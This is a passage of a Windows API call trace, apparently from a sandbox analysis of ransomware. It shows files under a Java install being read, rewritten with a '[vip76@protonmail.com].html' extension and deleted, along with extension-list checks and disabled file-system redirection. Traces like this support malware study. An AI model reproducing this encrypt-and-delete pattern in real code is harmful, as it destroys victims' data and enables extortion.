	[0208.135] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0208.135] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fc64 | out: lpNewFilePointer=0x0) returned 1
	[0208.135] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fc24 | out: lpNewFilePointer=0x0) returned 1
	[0208.135] ReadFile (in: hFile=0x35c, lpBuffer=0x40a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x367fc30, lpOverlapped=0x0 | out: lpBuffer=0x40a0058*, lpNumberOfBytesRead=0x367fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0208.163] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x367fc24 | out: lpNewFilePointer=0x0) returned 1
	[0208.164] ReadFile (in: hFile=0x35c, lpBuffer=0x40e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x367fc30, lpOverlapped=0x0 | out: lpBuffer=0x40e0058*, lpNumberOfBytesRead=0x367fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0208.455] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x367fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0208.455] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x367fc24 | out: lpNewFilePointer=0x0) returned 1
	[0208.455] ReadFile (in: hFile=0x35c, lpBuffer=0x4120058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x367fc30, lpOverlapped=0x0 | out: lpBuffer=0x4120058*, lpNumberOfBytesRead=0x367fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0208.621] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.621] WriteFile (hFile=0x35c, lpBuffer=0x40a0020, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x367fca8, lpOverlapped=0x0) 

Thread:
	id = 99
	os_tid = 0xfa4

	[0205.132] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3e02e40
	[0205.133] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3e12e48
	[0205.133] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df170
	[0205.133] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5ec5b0
	[0205.133] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df188
	[0205.133] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x41bf020
	[0205.136] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df1a0
	[0205.136] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df1a0, Size=0x20) returned 0x59e158
	[0205.136] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df1a0
	[0205.136] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df1a0, Size=0x20) returned 0x59df28
	[0205.136] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.136] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.136] Wow64DisableWow64FsRedirection (in: OldValue=0x37bff50 | out: OldValue=0x37bff50*=0x0) returned 1
	[0205.136] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.136] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e158 | out: hHeap=0x560000) returned 1
	[0205.136] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.136] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59df28 | out: hHeap=0x560000) returned 1
	[0205.137] Sleep (dwMilliseconds=0x64) 
	[0205.337] lstrcmpiW (lpString1=".MARKER", lpString2=".html") returned 1
	[0205.337] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0205.337] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0205.338] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=0) returned 1
	[0205.338] CloseHandle (hObject=0x328) returned 1
	[0205.338] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.338] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.338] lstrlenW (lpString=".doc") returned 4
	[0205.338] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0205.338] lstrlenW (lpString=".docx") returned 5
	[0205.338] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0205.338] lstrlenW (lpString=".pdf") returned 4
	[0205.338] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0205.338] lstrlenW (lpString=".xls") returned 4
	[0205.338] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0205.338] lstrlenW (lpString=".xlsx") returned 5
	[0205.339] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0205.339] lstrlenW (lpString=".ppt") returned 4
	[0205.339] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.339] lstrlenW (lpString=".zip") returned 4
	[0205.339] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString=".rar") returned 4
	[0205.339] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString=".bz2") returned 4
	[0205.339] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString=".7z") returned 3
	[0205.339] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0205.339] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.339] lstrlenW (lpString=".dbf") returned 4
	[0205.339] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.339] lstrlenW (lpString=".1cd") returned 4
	[0205.339] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.339] lstrlenW (lpString=".jpg") returned 4
	[0205.339] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.339] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.339] lstrlenW (lpString=".doc") returned 4
	[0205.339] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString=".docx") returned 5
	[0205.339] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0205.339] lstrlenW (lpString=".pdf") returned 4
	[0205.339] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString=".xls") returned 4
	[0205.339] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0205.339] lstrlenW (lpString=".xlsx") returned 5
	[0205.339] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0205.340] lstrlenW (lpString=".ppt") returned 4
	[0205.340] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0205.340] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.340] lstrlenW (lpString=".zip") returned 4
	[0205.340] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0205.340] lstrlenW (lpString=".rar") returned 4
	[0205.340] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0205.340] lstrlenW (lpString=".bz2") returned 4
	[0205.340] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0205.340] lstrlenW (lpString=".7z") returned 3
	[0205.340] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0205.340] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.340] lstrlenW (lpString=".dbf") returned 4
	[0205.340] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0205.340] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.340] lstrlenW (lpString=".1cd") returned 4
	[0205.340] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0205.340] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0205.340] lstrlenW (lpString=".jpg") returned 4
	[0205.340] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0205.340] Sleep (dwMilliseconds=0x64) 
	[0205.693] Sleep (dwMilliseconds=0x64) 
	[0206.000] Sleep (dwMilliseconds=0x64) 
	[0206.397] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0206.397] lstrlenW (lpString="msvcr100.dll") returned 12
	[0206.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0206.398] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=829264) returned 1
	[0206.398] CloseHandle (hObject=0x364) returned 1
	[0206.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20
	[0206.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0206.399] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.399] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.399] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0206.400] GetLastError () returned 0x0
	[0206.400] ReadFile (in: hFile=0x364, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0xca750, lpOverlapped=0x0) returned 1
	[0206.883] WriteFile (in: hFile=0x368, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0xca760, lpOverlapped=0x0) returned 1
	[0206.899] ReadFile (in: hFile=0x364, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.899] WriteFile (in: hFile=0x368, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.899] SetEndOfFile (hFile=0x368) returned 1
	[0206.899] CloseHandle (hObject=0x368) returned 1
	[0206.899] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.899] SetEndOfFile (hFile=0x364) returned 1
	[0207.370] CloseHandle (hObject=0x364) returned 1
	[0207.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0207.371] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1
	[0207.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.373] lstrlenW (lpString=".doc") returned 4
	[0207.373] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0207.373] lstrlenW (lpString=".docx") returned 5
	[0207.373] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0207.373] lstrlenW (lpString=".pdf") returned 4
	[0207.373] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0207.373] lstrlenW (lpString=".xls") returned 4
	[0207.373] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0207.373] lstrlenW (lpString=".xlsx") returned 5
	[0207.373] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0207.373] lstrlenW (lpString=".ppt") returned 4
	[0207.373] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0207.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.373] lstrlenW (lpString=".zip") returned 4
	[0207.373] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0207.373] lstrlenW (lpString=".rar") returned 4
	[0207.373] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0207.373] lstrlenW (lpString=".bz2") returned 4
	[0207.373] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0207.373] lstrlenW (lpString=".7z") returned 3
	[0207.373] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0207.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.373] lstrlenW (lpString=".dbf") returned 4
	[0207.373] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0207.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.373] lstrlenW (lpString=".1cd") returned 4
	[0207.374] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0207.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.374] lstrlenW (lpString=".jpg") returned 4
	[0207.374] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0207.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.374] lstrlenW (lpString=".doc") returned 4
	[0207.374] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0207.374] lstrlenW (lpString=".docx") returned 5
	[0207.374] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0207.374] lstrlenW (lpString=".pdf") returned 4
	[0207.374] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0207.374] lstrlenW (lpString=".xls") returned 4
	[0207.374] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0207.374] lstrlenW (lpString=".xlsx") returned 5
	[0207.374] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0207.374] lstrlenW (lpString=".ppt") returned 4
	[0207.374] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0207.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.374] lstrlenW (lpString=".zip") returned 4
	[0207.374] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0207.374] lstrlenW (lpString=".rar") returned 4
	[0207.374] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0207.374] lstrlenW (lpString=".bz2") returned 4
	[0207.374] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0207.374] lstrlenW (lpString=".7z") returned 3
	[0207.374] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0207.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.374] lstrlenW (lpString=".dbf") returned 4
	[0207.374] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0207.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.374] lstrlenW (lpString=".1cd") returned 4
	[0207.375] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0207.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0207.375] lstrlenW (lpString=".jpg") returned 4
	[0207.375] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0207.375] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0207.375] lstrlenW (lpString="orbd.exe") returned 8
	[0207.375] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0207.376] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=16448) returned 1
	[0207.376] CloseHandle (hObject=0x364) returned 1
	[0207.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20
	[0207.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.376] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0207.376] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.376] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.376] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0207.377] GetLastError () returned 0x0
	[0207.377] ReadFile (in: hFile=0x364, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0x4040, lpOverlapped=0x0) returned 1
	[0207.385] WriteFile (in: hFile=0x354, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0x4050, lpOverlapped=0x0) returned 1
	[0207.386] ReadFile (in: hFile=0x364, lpBuffer=0x41bf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.386] WriteFile (in: hFile=0x354, lpBuffer=0x41bf020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x41bf020*, lpNumberOfBytesWritten=0x37bfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0207.386] SetEndOfFile (hFile=0x354) returned 1
	[0207.387] CloseHandle (hObject=0x354) returned 1
	[0207.387] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.387] SetEndOfFile (hFile=0x364) returned 1
	[0207.388] CloseHandle (hObject=0x364) returned 1
	[0207.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0207.388] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 1
	[0207.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.388] lstrlenW (lpString=".doc") returned 4
	[0207.388] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0207.388] lstrlenW (lpString=".docx") returned 5
	[0207.388] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1
	[0207.388] lstrlenW (lpString=".pdf") returned 4
	[0207.388] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0207.388] lstrlenW (lpString=".xls") returned 4
	[0207.388] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0207.388] lstrlenW (lpString=".xlsx") returned 5
	[0207.388] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1
	[0207.388] lstrlenW (lpString=".ppt") returned 4
	[0207.388] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0207.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.388] lstrlenW (lpString=".zip") returned 4
	[0207.388] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0207.388] lstrlenW (lpString=".rar") returned 4
	[0207.389] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0207.389] lstrlenW (lpString=".bz2") returned 4
	[0207.389] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0207.389] lstrlenW (lpString=".7z") returned 3
	[0207.389] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0207.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.389] lstrlenW (lpString=".dbf") returned 4
	[0207.389] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0207.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.389] lstrlenW (lpString=".1cd") returned 4
	[0207.389] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0207.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.389] lstrlenW (lpString=".jpg") returned 4
	[0207.389] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0207.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.389] lstrlenW (lpString=".doc") returned 4
	[0207.389] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0207.389] lstrlenW (lpString=".docx") returned 5
	[0207.389] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1
	[0207.389] lstrlenW (lpString=".pdf") returned 4
	[0207.389] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0207.389] lstrlenW (lpString=".xls") returned 4
	[0207.390] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0207.390] lstrlenW (lpString=".xlsx") returned 5
	[0207.390] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1
	[0207.390] lstrlenW (lpString=".ppt") returned 4
	[0207.390] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0207.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.390] lstrlenW (lpString=".zip") returned 4
	[0207.390] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0207.390] lstrlenW (lpString=".rar") returned 4
	[0207.390] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0207.390] lstrlenW (lpString=".bz2") returned 4
	[0207.390] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0207.390] lstrlenW (lpString=".7z") returned 3
	[0207.390] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0207.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.390] lstrlenW (lpString=".dbf") returned 4
	[0207.390] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0207.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.390] lstrlenW (lpString=".1cd") returned 4
	[0207.390] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0207.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0207.390] lstrlenW (lpString=".jpg") returned 4
	[0207.390] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0207.390] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0207.390] lstrlenW (lpString="msvcr100.dll") returned 12
	[0207.390] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0207.391] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=829264) returned 1
	[0207.391] CloseHandle (hObject=0x364) returned 1
